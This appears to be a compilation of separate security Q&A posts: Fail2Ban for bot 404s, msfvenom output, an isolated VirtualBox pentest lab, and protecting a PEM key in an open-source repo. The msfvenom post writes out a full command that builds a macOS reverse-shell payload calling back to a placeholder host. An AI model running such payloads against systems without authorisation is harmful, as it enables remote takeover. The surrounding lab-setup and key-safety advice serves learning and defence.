Even if you move or if you don't have the application installed, you'll still have the 404 errors. In order to reduce it, you can add some rules into your firewall, like for /spaw2/spacer.gif. But don't forget them in case some day, you will really have a file named exactly like this!
If you use Apache, you can configure Fail2Ban to ban bots that do unusual stuffs, like "too many password failures, seeking for exploits, etc".

Hope this helps!


Warning generating OS X payload with msfvenom I am trying to generate a reverse shell payload using msfvenom. When I run

msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

which I found on this site, I get the following output:

No platform was selected, choosing Msf::Module::Platform::OSX from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 65 bytes
Final size of macho file: 20800 bytes

The file is generated, and it works fine, but I am wondering what the first two lines of that output mean. Is there anything I'm missing?

"Platform" stands for the OS platform of the payload, whether it is Windows, Linux, OSX, etc. you provide it with --platform
"Arch" stands for processor architecture you are targeting (x86, x64). You use --arch


How can I conduct penetration testing on VirtualBox I want to get started with penetration testing, and have read that it is better to conduct such tests using a virtual machine rather than your own computer. I also want to use the internal network function of VirtualBox to ensure that I dont mess anything up. How can i create a network to attack and have an attacker outside this network, but with all of them internal, and with no access to the internet? Is this even what I should be doing?

On the VM settings, set each of the NICs to Internal Network.  This will allow the VMs to communicate with each other but not the outside world.

As to getting started, get a premade .ova of Kali and another of Metasploitable.  If you happen to have access to a Windows Vista or earlier disk (especially if it doesn't ship with any service packs!), install one of those, too.

This will allow you to launch attacks and scans from Kali without accidentally hitting your real network.  Plus, metasploitable is designed to have vulnerabilities, so you're not hitting a proverbial brick wall before you know how to use the hammer.

In particular, in Kali, look at nmap (especially with the --script option) and metasploit.

I noticed you're asking about network penetration, too.  Consider that an additional complication for later, as firewalls are another obstacle entirely, and except where you've enabled port forwarding, you're relying on the targets to reach out (or making them reach out after some compromise they've brought upon themselves; still, not the same as port scans unless you already know which ports you purposely make vulnerable, or are looking for vulnerabilities in the router.)


should I encrypt a certificate used only for automation? I have a PEM file used only for automatic builds and tests on amazon.

My project is open source and I am keeping all information on github. If the information is sensitive, I encrypt it and still keep it on github.

Should I encrypt the pem file used for the automatic build and tests? What is the threat in case I don't?

Your PEM file may contain Private key used in your build and tests. You should safekeep PEM properly.